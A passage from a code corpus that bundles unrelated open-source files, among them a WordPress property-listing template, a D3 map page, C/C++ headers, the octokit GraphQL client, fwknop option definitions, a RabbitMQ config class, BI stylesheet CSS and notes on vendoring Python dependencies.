class="location">' . $location->name . '</span>'; break; } } */ echo join( ' <span>&middot</span> ', $property_meta ); ?> </div> <?php } ?> <?php the_excerpt(); ?> </div> </figcaption> </figure> </a> <div class="property-content"> <?php // Default Listing Fields if ( $realty_theme_option['property-listing-type'] != "custom" && ( $size || $rooms || $bedrooms || $bathrooms ) ) { ?> <div class="property-meta clearfix"> <?php if ( ! empty( $size ) ) { ?> <div> <div class="meta-title"><i class="fa fa-expand"></i></div> <div class="meta-data" data-toggle="tooltip" title="<?php _e( 'Size', 'tt' ); ?>"><?php echo $size . ' ' . $size_unit; ?></div> </div> <?php } if ( ! empty( $rooms ) ) { ?> <div> <div class="meta-title"><i class="fa fa-building-o"></i></div> <div class="meta-data" data-toggle="tooltip" title="<?php echo __( 'Rooms', 'tt' ); ?>"><?php echo $rooms . ' ' . _n( __( 'Room', 'tt' ), __( 'Rooms', 'tt' ), $rooms, 'tt' ); ?></div> </div> <?php } if ( ! empty( $bedrooms ) ) { ?> <div> <div class="meta-title"><i class="fa fa-bed"></i></div> <div class="meta-data" data-toggle="tooltip" title="<?php echo __( 'Bedrooms', 'tt' ); ?>"><?php echo $bedrooms . ' ' . _n( __( 'Bedroom', 'tt' ), __( 'Bedrooms', 'tt' ), $bedrooms, 'tt' ); ?></div> </div> <?php } if ( ! empty( $bathrooms ) ) { ?> <div> <div class="meta-title"><i class="fa fa-tint"></i></div> <div class="meta-data" data-toggle="tooltip" title="<?php echo __( 'Bathrooms', 'tt' ); ?>"><?php echo $bathrooms . ' ' . _n( __( 'Bathroom', 'tt' ), __( 'Bathrooms', 'tt' ), $bathrooms, 'tt' ); ?></div> </div> <?php } ?> </div> <?php } // Use Custom Listing Fields if ( $realty_theme_option['property-listing-type'] == "custom" ) { ?> <div class="property-meta clearfix"> <?php $property_custom_listing_field = $realty_theme_option['property-custom-listing-field']; $property_custom_listing_icon_class = $realty_theme_option['property-custom-listing-icon-class']; $property_custom_listing_label = $realty_theme_option['property-custom-listing-label']; $property_custom_listing_label_plural = $realty_theme_option['property-custom-listing-label-plural']; $property_custom_listing_tooltip = $realty_theme_option['property-custom-listing-tooltip']; $i = 0; foreach ( $property_custom_listing_field as $field_type ) { $field = get_post_meta( $post->ID, $field_type, true ); if ( $field_type == "estate_property_available_from" ) { $field = date_i18n(get_option( 'date_format' ),strtotime($field)); } if ( $field_type == "estate_property_size" ) { $size_unit = get_post_meta( $post->ID, 'estate_property_size_unit', true ); $field = $field . ' ' . $size_unit; } if ( $field_type == "estate_property_id" ) { if ( $realty_theme_option['property-id-type'] == "post_id" ) { $field = $post->ID; } else { $field = get_post_meta( $post->ID, 'estate_property_id', true ); } } ?> <div> <div class="meta-title"><i class="fa <?php echo $property_custom_listing_icon_class[$i]; ?>"></i></div> <div class="meta-data" data-toggle="tooltip" title="<?php echo _n( __( $property_custom_listing_label[$i], 'tt' ), __( $property_custom_listing_label_plural[$i], 'tt' ), $field, 'tt' ); ?>"> <?php echo $field; if ( $property_custom_listing_tooltip[$i] == false ) { echo ' ' . _n( __( $property_custom_listing_label[$i], 'tt' ), __( $property_custom_listing_label_plural[$i], 'tt' ), $field, 'tt' ); } ?> </div> </div> <?php $i++; } ?> </div> <?php } ?> <div class="property-price"> <?php if ( $property_status_update || $property_status ) { if ( $property_status_update ) { echo '<span class="property-status" data-toggle="tooltip" title="' . __( 'Status', 'tt' ) . '">' . __( $property_status_update, 'tt' ) . '</span>'; } else { if ( $property_status ) { foreach ( $property_status as $status ) { echo '<span class="property-status" data-toggle="tooltip" title="' . __( 'Status', 'tt' ) . '">' . $status->name . '</span>'; break; } } } } // Property Icons // echo tt_icon_property_featured(); if ( get_post_status( $post->ID ) == "publish" ) { echo tt_icon_new_property(); echo tt_add_remove_favorites(); } echo tt_icon_property_video(); $disable_property_comparison = $realty_theme_option['property-comparison-disabled']; if ( get_post_status($post->ID) == "publish" && ! $disable_property_comparison ) { echo '<i class="fa fa-plus compare-property" data-compare-id="' . get_the_ID() . '" data-toggle="tooltip" title="' . __( 'Compare', 'tt' ) . '"></i>'; } // Property Submit Listing if ( is_user_logged_in() && is_page_template( 'template-property-submit-listing.php' ) ) { ?> <a href="<?php the_permalink(); ?>"><i class="fa fa-pencil" data-toggle="tooltip" title="<?php _e( 'Edit Property', 'tt' ); ?>"></i></a> <?php if ( get_post_status($post->ID) == "publish" ) { ?> <a href="<?php echo get_the_permalink(); ?>" target="_blank"><i class="fa fa-check" data-toggle="tooltip" title="<?php _e( 'Published', 'tt' ); ?>"></i></a> <?php $paypal_payment_status = get_post_meta( $post->ID, 'property_payment_status', true ); if ( isset( $paypal_payment_status ) && $paypal_payment_status == "Completed" ) { echo '<i class="fa fa-usd" data-toggle="tooltip" title="' . __( 'Paid', 'tt' ) . '"></i>'; } echo '<a href="#" class="delete-property" data-property-id="' . $post->ID . '"><i class="fa fa-trash" data-toggle="tooltip" title="' . __( 'Delete Property', 'tt' ) . '"></i></a>'; } else if ( get_post_status($post->ID) == "draft" ) { ?> <a href="<?php echo the_permalink(); ?>" target="_blank"><i class="fa fa-eye" data-toggle="tooltip" title="<?php _e( 'Draft', 'tt' ); ?>"></i></a> <?php echo '<a href="#" class="delete-property" data-property-id="' . $post->ID . '"><i class="fa fa-trash" data-toggle="tooltip" title="' . __( 'Delete Property', 'tt' ) . '"></i></a>'; } else if ( get_post_status($post->ID) == "pending" ) { ?> <a href="<?php echo the_permalink(); ?>" target="_blank"><i class="fa fa-clock-o" data-toggle="tooltip" title="<?php _e( 'Pending', 'tt' ); ?>"></i></a> <?php echo '<a href="#" class="delete-property" data-property-id="' . $post->ID . '"><i class="fa fa-trash" data-toggle="tooltip" title="' . __( 'Delete Property', 'tt' ) . '"></i></a>'; echo tt_paypal_payment_button( $post->ID ); } ?> <?php } ?> <div class="price-tag"><?php echo tt_property_price(); ?></div> </div> </div> </div>
tonyoconnell/chiangmaiselect
wp-content/themes/realty/lib/inc/template/property-item.php
PHP
gpl-2.0
9,479
<!DOCTYPE html> <meta charset="utf-8"> <style> .municipalities { fill: #858585; } .municipalities :hover { fill: orange; } .state-boundary { fill: none; stroke: #fff; pointer-events: none; } .municipality-boundary { fill: none; stroke: #fff; stroke-opacity: .25; stroke-width: .5px; pointer-events: none; } </style> <body> <script src="http://d3js.org/d3.v3.min.js"></script> <script src="http://d3js.org/topojson.v1.min.js"></script> <script src="http://d3js.org/queue.v1.min.js"></script> <script> var width = 960, height = 628; var path = d3.geo.path() .projection(null); var svg = d3.select("body").append("svg") .attr("width", width) .attr("height", height); d3.json("mx.json", function(error, mx) { svg.append("g") .attr("class", "municipalities") .selectAll("path") .data(topojson.feature(mx, mx.objects.municipalities).features) .enter().append("path") .attr("d", path) .append("title") .text(function(d) { return d.properties.name; }); svg.append("path") .datum(topojson.mesh(mx, mx.objects.municipalities, function(a, b) { return a.properties.state !== b.properties.state; })) .attr("class", "state-boundary") .attr("d", path); svg.append("path") .datum(topojson.mesh(mx, mx.objects.municipalities, function(a, b) { return a.properties.state === b.properties.state && a !== b; })) .attr("class", "municipality-boundary") .attr("d", path); }); d3.select(self.frameElement).style("height", height + "px"); </script>
EduardoClark/eduardoclark.github.io
MexicoMap/index.html
HTML
gpl-2.0
1,554
// @(#)root/mathcore:$Id: MinimizerOptions.h 26508 2008-11-28 14:22:29Z moneta $ // Author: L. Moneta Fri Aug 15 2008 /********************************************************************** * * * Copyright (c) 2008 LCG ROOT Math Team, CERN/PH-SFT * * * * * **********************************************************************/ #ifndef ROOT_Math_MinimizerOptions #define ROOT_Math_MinimizerOptions #include <string> namespace ROOT { namespace Math { //_______________________________________________________________________________ /** Minimizer options @ingroup MultiMin */ class MinimizerOptions { public: // static methods for setting and retrieving the default options static void SetDefaultMinimizer(const char * type, const char * algo = 0); static void SetDefaultErrorDef( double up); static void SetDefaultTolerance(double tol); static void SetDefaultMaxFunctionCalls(int maxcall); static void SetDefaultMaxIterations(int maxiter); static void SetDefaultStrategy(int strat); static void SetDefaultPrintLevel(int level); static const std::string & DefaultMinimizerType(); static const std::string & DefaultMinimizerAlgo(); static double DefaultErrorDef(); static double DefaultTolerance(); static int DefaultMaxFunctionCalls(); static int DefaultMaxIterations(); static int DefaultStrategy(); static int DefaultPrintLevel(); // default options MinimizerOptions() : fLevel( MinimizerOptions::DefaultPrintLevel()), fMaxCalls( MinimizerOptions::DefaultMaxFunctionCalls() ), fMaxIter( MinimizerOptions::DefaultMaxIterations() ), fStrategy( MinimizerOptions::DefaultStrategy() ), fErrorDef( MinimizerOptions::DefaultErrorDef() ), fTolerance( MinimizerOptions::DefaultTolerance() ), fMinimType( MinimizerOptions::DefaultMinimizerType() ), fAlgoType( MinimizerOptions::DefaultMinimizerAlgo() ) {} /** non-static methods for retrivieng options */ /// set print level int PrintLevel() const { return fLevel; } /// max number of function calls unsigned int MaxFunctionCalls() const { return fMaxCalls; } /// max iterations unsigned int MaxIterations() const { return fMaxIter; } /// strategy int Strategy() const { return fStrategy; } /// absolute tolerance double Tolerance() const { return fTolerance; } /// error definition double ErrorDef() const { return fErrorDef; } /// type of minimizer const std::string & MinimizerType() const { return fMinimType; } /// type of algorithm const std::string & MinimizerAlgorithm() const { return fAlgoType; } /** non-static methods for setting options */ /// set print level void SetPrintLevel(int level) { fLevel = level; } ///set maximum of function calls void SetMaxFunctionCalls(unsigned int maxfcn) { fMaxCalls = maxfcn; } /// set maximum iterations (one iteration can have many function calls) void SetMaxIterations(unsigned int maxiter) { fMaxIter = maxiter; } /// set the tolerance void SetTolerance(double tol) { fTolerance = tol; } /// set the strategy void SetStrategy(int stra) { fStrategy = stra; } /// set error def void SetErrorDef(double err) { fErrorDef = err; } /// set minimizer type void SetMinimizerType(const std::string & type) { fMinimType = type; } /// set minimizer algorithm void SetMinimizerAlgorithm(const std::string & type) { fAlgoType = type; } private: int fLevel; // debug print level int fMaxCalls; // maximum number of function calls int fMaxIter; // maximum number of iterations int fStrategy; // minimizer strategy (used by Minuit) double fErrorDef; // error definition (=1. for getting 1 sigma error for chi2 fits) double fTolerance; // minimize tolerance to reach solution std::string fMinimType; // Minimizer type (Minuit, Minuit2, etc.. std::string fAlgoType; // Minimizer algorithmic specification (Migrad, Minimize, ...) }; } // end namespace Math } // end namespace ROOT #endif
newtrino/rave
src/ROOT/mathcore/Math/MinimizerOptions.h
C
gpl-2.0
4,381
<?php /* * To change this template, choose Tools | Templates * and open the template in the editor. */ class Media extends CI_Model { var $table = 'media'; function create($data = array()) { $this->deleteByTypeAndKey($data['type'], $data['key']); $this->db->insert($this->table, $data); if ($this->db->affected_rows() == 1) { return TRUE; } return FALSE; } function findSingle($type, $key) { $this->db->where('type', $type); $this->db->where('key', $key); $this->db->order_by('id', 'desc'); $query = $this->db->get($this->table, 1); if ($query->num_rows() == 1) { return $query->row_array(); } } function findMultiple($type, $key, $limit = null, $offset = null) { $this->db->where('type', $type); $this->db->where('key', $key); $this->db->limit($limit, $offset); $query = $this->db->get($this->table); if ($query->num_rows() > 0) { return $query->result_array(); } } function update($data = array(), $conditions = array()) { $this->db->where($conditions); $this->db->update($this->table, $data); if ($this->db->affected_rows() == 1) { return TRUE; } return FALSE; } function delete($conditions = array()) { $this->db->where($conditions); $this->db->delete($this->table); } function deleteByTypeAndKey($type, $key) { $media = $this->findSingle($type, $key); if (!empty($media)) { if ($this->general->isExistFile($media['media'])) { unlink($media['path']); } $conditions = array( 'type' => $type, 'key' => $key ); $this->delete($conditions); } } function isExist($type, $key) { $this->db->where('type', $type); $this->db->where('key', $key); $query = $this->db->get($this->table); if ($query->num_rows() > 0) { return TRUE; } else { return FALSE; } } function updateMedia($path, $type, $key, $description) { $data = array( 'path' => $path, 'description' => $description ); $this->db->where('type', $type); $this->db->where('key', $key); $this->db->update($this->table, $data); } } ?>
noczero/Zero-Inside-Website
application/models/media.php
PHP
gpl-2.0
2,478
package binnie.core.machines; import binnie.Binnie; import cpw.mods.fml.client.registry.ISimpleBlockRenderingHandler; import net.minecraft.block.Block; import net.minecraft.client.renderer.RenderBlocks; import net.minecraft.client.renderer.tileentity.TileEntitySpecialRenderer; import net.minecraft.tileentity.TileEntity; import net.minecraft.world.IBlockAccess; import net.minecraft.world.World; public class RendererMachine extends TileEntitySpecialRenderer implements ISimpleBlockRenderingHandler { RenderBlocks blockRenderer; public void renderTileEntityAt(TileEntity entity, double x, double y, double z, float var8) { renderTileEntity((TileEntityMachine)entity, x, y, z, var8, this.blockRenderer); } public void renderTileEntity(TileEntityMachine entity, double x, double y, double z, float var8, RenderBlocks renderer) { if ((entity != null) && (entity.getMachine() != null)) { MachinePackage machinePackage = entity.getMachine().getPackage(); machinePackage.renderMachine(entity.getMachine(), x, y, z, var8, renderer); } } public void renderInvBlock(RenderBlocks renderblocks, Block block, int i, int j) { TileEntity entity = block.createTileEntity((World)null, i); renderTileEntity((TileEntityMachine)entity, 0.0D, -0.1D, 0.0D, 0.0625F, renderblocks); } public void renderInventoryBlock(Block block, int metadata, int modelID, RenderBlocks renderer) { if (modelID == Binnie.Machine.getMachineRenderID()) { renderInvBlock(renderer, block, metadata, modelID); } } public boolean renderWorldBlock(IBlockAccess world, int x, int y, int z, Block block, int modelId, RenderBlocks renderer) { TileEntityMachine tile = (TileEntityMachine)world.getTileEntity(x, y, z); if ((tile != null) && (tile.getMachine() != null) && (tile.getMachine().getPackage() != null) && (tile.getMachine().getPackage().getGroup() != null) && (!tile.getMachine().getPackage().getGroup().customRenderer)) { renderTileEntity(tile, x, y, z, 1.0F, renderer); } return true; } public boolean shouldRender3DInInventory(int i) { return true; } public int getRenderId() { return Binnie.Machine.getMachineRenderID(); } public void func_147496_a(World par1World) { this.blockRenderer = new RenderBlocks(par1World); } }
draknyte1/MiscUtils
src/Java/binnie/core/machines/RendererMachine.java
Java
gpl-2.0
2,351
// // bisearchtree.h // BiSearchTree // // Created by nonstriater on 14-2-22. // // /** * 二叉查找树(Binary search tree),也叫有序二叉树(Ordered binary tree),排序二叉树(Sorted binary tree)。是指一个空树或者具有下列性质的二叉树: 1. 若任意节点的左子树不为空,则左子树上所有的节点值小于它的根节点值 2. 若任意节点的右子树不为空,则右子树上所有节点的值均大于它的根节点的值 3. 任意节点左右子树也为二叉查找树 4. 没有键值相等的节点 */ #ifndef BiSearchTree_bisearchtree_h #define BiSearchTree_bisearchtree_h typedef int ElemType; typedef struct BiSearchTree{ ElemType key; struct BiSearchTree *lChild; struct BiSearchTree *rChild; }BiSearchTree; /** * 创建二叉查找树 * * @return 指向一颗空树的指针 */ BiSearchTree *bisearch_tree_new(); /** * 插入节点 * * @param tree tree * @param node 节点值 */ BiSearchTree *bisearch_tree_insert(BiSearchTree *tree,ElemType node); /** * 查找节点 * * @param tree tree * @param node 节点值 * @return -1失败 0 成功 */ int bisearch_tree_search(BiSearchTree *tree,ElemType node); //删除节点 int bisearch_tree_delete(BiSearchTree **tree,ElemType node); // 遍历节点 void bisearch_tree_inorder_traversal(BiSearchTree *tree); #endif
momomoxiaoxi/common
Learn-Algorithms/二叉树/2-二叉查找树/BiSearchTree/bisearchtree.h
C
gpl-2.0
1,408
import { request } from '@octokit/request'; import { getUserAgent } from 'universal-user-agent'; const VERSION = "4.5.6"; class GraphqlError extends Error { constructor(request, response) { const message = response.data.errors[0].message; super(message); Object.assign(this, response.data); Object.assign(this, { headers: response.headers }); this.name = "GraphqlError"; this.request = request; // Maintains proper stack trace (only available on V8) /* istanbul ignore next */ if (Error.captureStackTrace) { Error.captureStackTrace(this, this.constructor); } } } const NON_VARIABLE_OPTIONS = [ "method", "baseUrl", "url", "headers", "request", "query", "mediaType", ]; const GHES_V3_SUFFIX_REGEX = /\/api\/v3\/?$/; function graphql(request, query, options) { if (typeof query === "string" && options && "query" in options) { return Promise.reject(new Error(`[@octokit/graphql] "query" cannot be used as variable name`)); } const parsedOptions = typeof query === "string" ? Object.assign({ query }, options) : query; const requestOptions = Object.keys(parsedOptions).reduce((result, key) => { if (NON_VARIABLE_OPTIONS.includes(key)) { result[key] = parsedOptions[key]; return result; } if (!result.variables) { result.variables = {}; } result.variables[key] = parsedOptions[key]; return result; }, {}); // workaround for GitHub Enterprise baseUrl set with /api/v3 suffix // https://github.com/octokit/auth-app.js/issues/111#issuecomment-657610451 const baseUrl = parsedOptions.baseUrl || request.endpoint.DEFAULTS.baseUrl; if (GHES_V3_SUFFIX_REGEX.test(baseUrl)) { requestOptions.url = baseUrl.replace(GHES_V3_SUFFIX_REGEX, "/api/graphql"); } return request(requestOptions).then((response) => { if (response.data.errors) { const headers = {}; for (const key of Object.keys(response.headers)) { headers[key] = response.headers[key]; } throw new GraphqlError(requestOptions, { headers, data: response.data, }); } return response.data.data; }); } function withDefaults(request$1, newDefaults) { const newRequest = request$1.defaults(newDefaults); const newApi = (query, options) => { return graphql(newRequest, query, options); }; return Object.assign(newApi, { defaults: withDefaults.bind(null, newRequest), endpoint: request.endpoint, }); } const graphql$1 = withDefaults(request, { headers: { "user-agent": `octokit-graphql.js/${VERSION} ${getUserAgent()}`, }, method: "POST", url: "/graphql", }); function withCustomRequest(customRequest) { return withDefaults(customRequest, { method: "POST", url: "/graphql", }); } export { graphql$1 as graphql, withCustomRequest }; //# sourceMappingURL=index.js.map
opencart-extension/PagSeguro-Checkout-Transparente
.github/actions/dispatch-newsletter/node_modules/@octokit/graphql/dist-web/index.js
JavaScript
gpl-2.0
3,109
/* ****************************************************************************** * * File: cmd_opts.h * * Purpose: Header file for fwknop command line options. * * Fwknop is developed primarily by the people listed in the file 'AUTHORS'. * Copyright (C) 2009-2014 fwknop developers and contributors. For a full * list of contributors, see the file 'CREDITS'. * * License (GNU General Public License): * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA * ****************************************************************************** */ #ifndef CMD_OPTS_H #define CMD_OPTS_H /* Long options values (for those without a short option). */ enum { FKO_DIGEST_NAME = 0x100, ENCRYPTION_MODE, NAT_LOCAL, NAT_PORT, NAT_RAND_PORT, TIME_OFFSET_MINUS, TIME_OFFSET_PLUS, SAVE_RC_STANZA, FORCE_SAVE_RC_STANZA, STANZA_LIST, NO_SAVE_ARGS, SHOW_LAST_ARGS, RC_FILE_PATH, RESOLVE_HTTP_ONLY, RESOLVE_URL, USE_HMAC, USE_WGET_USER_AGENT, SPA_ICMP_TYPE, SPA_ICMP_CODE, KEY_LEN, HMAC_DIGEST_TYPE, HMAC_KEY_LEN, GET_HMAC_KEY, KEY_RIJNDAEL, KEY_RIJNDAEL_BASE64, KEY_HMAC_BASE64, KEY_HMAC, FD_SET_STDIN, FD_SET_ALT, FAULT_INJECTION_TAG, /* Put GPG-related items below the following line */ GPG_ENCRYPTION = 0x200, GPG_RECIP_KEY, GPG_SIGNER_KEY, GPG_HOME_DIR, GPG_EXE_PATH, GPG_AGENT, GPG_ALLOW_NO_SIGNING_PW, NOOP /* Just to be a marker for the end */ }; /* Our getopt_long options string. */ #define GETOPTS_OPTION_STRING "a:A:bB:C:D:E:f:gG:hH:kK:lm:M:n:N:p:P:Q:rRsS:Tu:U:vVw:" /* Our program command-line options... */ static struct option cmd_opts[] = { {"allow-ip", 1, NULL, 'a'}, {"access", 1, NULL, 'A'}, {"save-packet-append", 0, NULL, 'b'}, {"save-packet", 1, NULL, 'B'}, {"save-rc-stanza", 0, NULL, SAVE_RC_STANZA}, {"force-stanza", 0, NULL, FORCE_SAVE_RC_STANZA}, {"stanza-list", 0, NULL, STANZA_LIST}, {"no-save-args", 0, NULL, NO_SAVE_ARGS}, {"server-cmd", 1, NULL, 'C'}, {"digest-type", 1, NULL, FKO_DIGEST_NAME}, {"destination", 1, NULL, 'D'}, {"save-args-file", 1, NULL, 'E'}, {"encryption-mode", 1, NULL, ENCRYPTION_MODE}, {"fd", 1, NULL, FD_SET_ALT}, {"fw-timeout", 1, NULL, 'f'}, {"fault-injection-tag", 1, NULL, FAULT_INJECTION_TAG }, {"gpg-encryption", 0, NULL, 'g'}, {"gpg-recipient-key", 1, NULL, GPG_RECIP_KEY }, {"gpg-signer-key", 1, NULL, GPG_SIGNER_KEY }, {"gpg-home-dir", 1, NULL, GPG_HOME_DIR }, {"gpg-exe", 1, NULL, GPG_EXE_PATH }, {"gpg-agent", 0, NULL, GPG_AGENT }, {"gpg-no-signing-pw", 0, NULL, GPG_ALLOW_NO_SIGNING_PW }, {"get-key", 1, NULL, 'G'}, {"get-hmac-key", 1, NULL, GET_HMAC_KEY }, {"help", 0, NULL, 'h'}, {"http-proxy", 1, NULL, 'H'}, {"key-gen", 0, NULL, 'k'}, {"key-gen-file", 1, NULL, 'K'}, {"key-rijndael", 1, NULL, KEY_RIJNDAEL }, {"key-base64-rijndael", 1, NULL, KEY_RIJNDAEL_BASE64 }, {"key-base64-hmac", 1, NULL, KEY_HMAC_BASE64 }, {"key-hmac", 1, NULL, KEY_HMAC }, {"key-len", 1, NULL, KEY_LEN}, {"hmac-key-len", 1, NULL, HMAC_KEY_LEN}, {"hmac-digest-type", 1, NULL, HMAC_DIGEST_TYPE}, {"icmp-type", 1, NULL, SPA_ICMP_TYPE }, {"icmp-code", 1, NULL, SPA_ICMP_CODE }, {"last-cmd", 0, NULL, 'l'}, {"nat-access", 1, NULL, 'N'}, {"named-config", 1, NULL, 'n'}, {"nat-local", 0, NULL, NAT_LOCAL}, {"nat-port", 1, NULL, NAT_PORT}, {"nat-rand-port", 0, NULL, NAT_RAND_PORT}, {"server-port", 1, NULL, 'p'}, {"server-proto", 1, NULL, 'P'}, {"spoof-source", 1, NULL, 'Q'}, {"spoof-src", 1, NULL, 'Q'}, /* synonym */ {"rc-file", 1, NULL, RC_FILE_PATH}, {"rand-port", 0, NULL, 'r'}, {"resolve-ip-http", 0, NULL, 'R'}, {"resolve-ip-https", 0, NULL, 'R'}, /* synonym, default is HTTPS */ {"resolve-http-only", 0, NULL, RESOLVE_HTTP_ONLY}, {"resolve-url", 1, NULL, RESOLVE_URL}, {"show-last", 0, NULL, SHOW_LAST_ARGS}, {"source-ip", 0, NULL, 's'}, {"source-port", 1, NULL, 'S'}, {"stdin", 0, NULL, FD_SET_STDIN}, {"test", 0, NULL, 'T'}, {"time-offset-plus", 1, NULL, TIME_OFFSET_PLUS}, {"time-offset-minus", 1, NULL, TIME_OFFSET_MINUS}, {"user-agent", 1, NULL, 'u'}, {"use-hmac", 0, NULL, USE_HMAC}, {"use-wget-user-agent", 0, NULL, USE_WGET_USER_AGENT}, {"spoof-user", 1, NULL, 'U'}, {"verbose", 0, NULL, 'v'}, {"version", 0, NULL, 'V'}, {"wget-cmd", 1, NULL, 'w'}, {0, 0, 0, 0} }; #endif /* CMD_OPTS_H */ /***EOF***/
micha137/fwknop
client/cmd_opts.h
C
gpl-2.0
5,816
package com.examstack.scoremarker.config; import java.io.File; import java.io.IOException; import java.util.HashMap; import java.util.Map; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.ComponentScan; import org.springframework.context.annotation.Configuration; import org.springframework.context.support.PropertySourcesPlaceholderConfigurer; import org.springframework.core.io.FileSystemResource; import org.springframework.web.client.RestTemplate; import com.examstack.common.Constants; import com.examstack.common.domain.exam.ExamPaper; import com.examstack.scoremarker.ScoreMarkerMain; import com.fasterxml.jackson.databind.ObjectMapper; import com.rabbitmq.client.Channel; import com.rabbitmq.client.Connection; import com.rabbitmq.client.ConnectionFactory; import com.rabbitmq.client.QueueingConsumer; /** * * @author Ocelot * */ @Configuration @ComponentScan("com.examstack.scoremarker") public class ScoreMarkConfig { private static final Logger LOGGER = Logger.getLogger(ScoreMarkerMain.class); @Value("${rabbitmq.host}") private String messageQueueHostname; @Value("${examstack.answersheet.posturi}") private String answerSheetPostUri; @Value("${examstack.exampaper.geturi}") private String examPaperGetUri; // private HashMap<String,ExamPaper> examPapersMap = new HashMap<String,ExamPaper>();; @Bean QueueingConsumer queueingConsumer() throws IOException { ConnectionFactory factory = new ConnectionFactory(); factory.setHost(messageQueueHostname); Connection connection = factory.newConnection(); Channel channel = connection.createChannel(); channel.queueDeclare(Constants.ANSWERSHEET_DATA_QUEUE, true, false, false, null); QueueingConsumer consumer = new QueueingConsumer(channel); channel.basicConsume(Constants.ANSWERSHEET_DATA_QUEUE, true, consumer); return consumer; } @Bean public static PropertySourcesPlaceholderConfigurer propertySourcesPlaceholderConfigurer() { String propertyFilePath = Constants.CONFIG_PATH + File.separator + "config" + File.separator + "scoremaker.properties"; File f = new File(propertyFilePath); if (!f.exists()){ propertyFilePath = "config" + File.separator + "scoremaker.properties"; } PropertySourcesPlaceholderConfigurer propertySourcesPlaceholderConfigurer = new PropertySourcesPlaceholderConfigurer(); org.springframework.core.io.Resource[] properties = new FileSystemResource[] { new FileSystemResource(propertyFilePath) }; propertySourcesPlaceholderConfigurer.setLocations(properties); return propertySourcesPlaceholderConfigurer; } @Bean ObjectMapper objectMapper() { return new ObjectMapper(); } @Bean HashMap<String, ExamPaper> examPapersMap() { return new HashMap<String, ExamPaper>(); } @Bean String answerSheetPostUri() { return answerSheetPostUri; } @Bean String examPaperGetUri() { return examPaperGetUri; } @Bean RestTemplate restTemplate() { return new RestTemplate(); } }
781852423/ExamStack
scoreMarker/src/main/java/com/examstack/scoremarker/config/ScoreMarkConfig.java
Java
gpl-2.0
3,254
/* +------------------------------------------------------------------+ | ____ _ _ __ __ _ __ | | / ___| |__ ___ ___| | __ | \/ | |/ / | | | | | '_ \ / _ \/ __| |/ / | |\/| | ' / | | | |___| | | | __/ (__| < | | | | . \ | | \____|_| |_|\___|\___|_|\_\___|_| |_|_|\_\ | | | | Copyright Mathias Kettner 2012 mk@mathias-kettner.de | +------------------------------------------------------------------+ This file is part of Check_MK. The official homepage is at http://mathias-kettner.de/check_mk. check_mk is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation in version 2. check_mk is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; with- out even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more de- ails. You should have received a copy of the GNU General Public License along with GNU Make; see the file COPYING. If not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. */ /*-------------------------------------------------------------------------. | ____ ___ | | | __ )_ _| | | | _ \| | | | | |_) | | | | |____/___| | | | +--------------------------------------------------------------------------+ | Styles used by the Business-Intelligence module. | '-------------------------------------------------------------------------*/ .aggrtree ul.subtree { margin-left: 34px; padding-bottom: 3px; padding-left: 3px; padding-top: 0px; margin-top: 4px; list-style-type: none; border-top: 1px solid #aaa; border-bottom: 1px solid #aaa; border-left: 1px solid #aaa; border-radius: 3px; } tr.odd0 .aggrtree ul.subtree { border-color: #ccc; } tr.even0 .aggrtree ul.subtree { border-color: #aaa; } .aggrtree ul.subtree li { margin: 0; padding: 0; margin-top: 2px; /*padding-top: 1px;*/ padding-bottom: 1px; } .aggrtree span.title span.content.name { cursor: pointer; } .aggrtree span.state { margin-right: 3px; width: 34px; padding: 0; text-align: center; border-radius: 3px; border-style: solid; border-width: 1px; border-color: #eee #888 #999 #ccc; font-weight: bold; display:-moz-inline-stack; display:inline-block; } .aggrtree img.assumption, .aggrtree img.bi.icon { width: 13px; height: 13px; margin: 0; margin-right: 0px; vertical-align: middle; } .aggrtree img.bi.icon { margin-right: 5px; margin-left: 0px; position: relative; top: -1px; } b.bullet { color: #aaa; margin: 0px 5px; } .state.assumed { background-image: url("images/assume_bg.png"); background-repeat: repeat; } .aggrtree img.treeangle { width: 15px; height: 15px; margin-right: 2px; margin-left: 0px; vertical-align:middle; } table.aggrtree { border-collapse: collapse; width: 100%; } table.aggrtree td.leaf.odd { background-color: #e0e0e0; } table.aggrtree td.leaf.even { background-color: #f0f0f0; } table.aggrtree td.node { background-color: #e8e8e8; } td.aggrtree_box { line-height: 22px; } .bibox_box { border-width: 1px; border-color: black; border-style: solid; margin: 0px 0px 0px 0px; padding: 1px 3px; cursor: pointer; } .bibox_box.open.noleaf { box-shadow: inset 0.5px 0.5px 3px #444; } .bibox_box.noleaf:hover { border-style: dashed; } .bibox_box.closed.noleaf { box-shadow: 0.5px 0.5px 3px #000; } .bibox_box.leaf { border-color: white; } .bibox { padding: 0px; } table.aggrtree.ltr td { border: 1px solid #ccc; padding: 3px; }
ypid-bot/check_mk
web/htdocs/bi.css
CSS
gpl-2.0
4,393
`autonameow` ============ *Copyright(c) 2016-2020 Jonas Sjöberg <autonameow@jonasjberg.com>* Source repository: <https://github.com/jonasjberg/autonameow> -------------------------------------------------------------------------------- Vendoring Dependencies ====================== Notes on attempt at including all dependencies in the main repository. #### Revisions * 2018-12-07 --- `jonasjberg` Initial. * 2018-12-21 --- `jonasjberg` Updates. Notes ----- Download packages listed in `requirements.txt` to the directory `DESTDIR` as `.tar.gz`-files: ```bash pip install --download DESTDIR -r requirements.txt --no-binary :all: ``` Extract downloaded `.tar.gz`-files: ```bash cd DESTDIR && for f in *.tar.gz ; do [ -d "${f%.tar.gz}" ] && continue ; tar -xf "$f" ; done ``` Then run ad-hoc hack script `modify_extracted_pip_archives.sh`. See also -------- - <https://github.com/pypa/pip/blob/master/src/pip/_vendor/README.rst> - <https://github.com/pypa/pip/blob/master/tasks/vendoring/__init__.py>
jonasjberg/autonameow
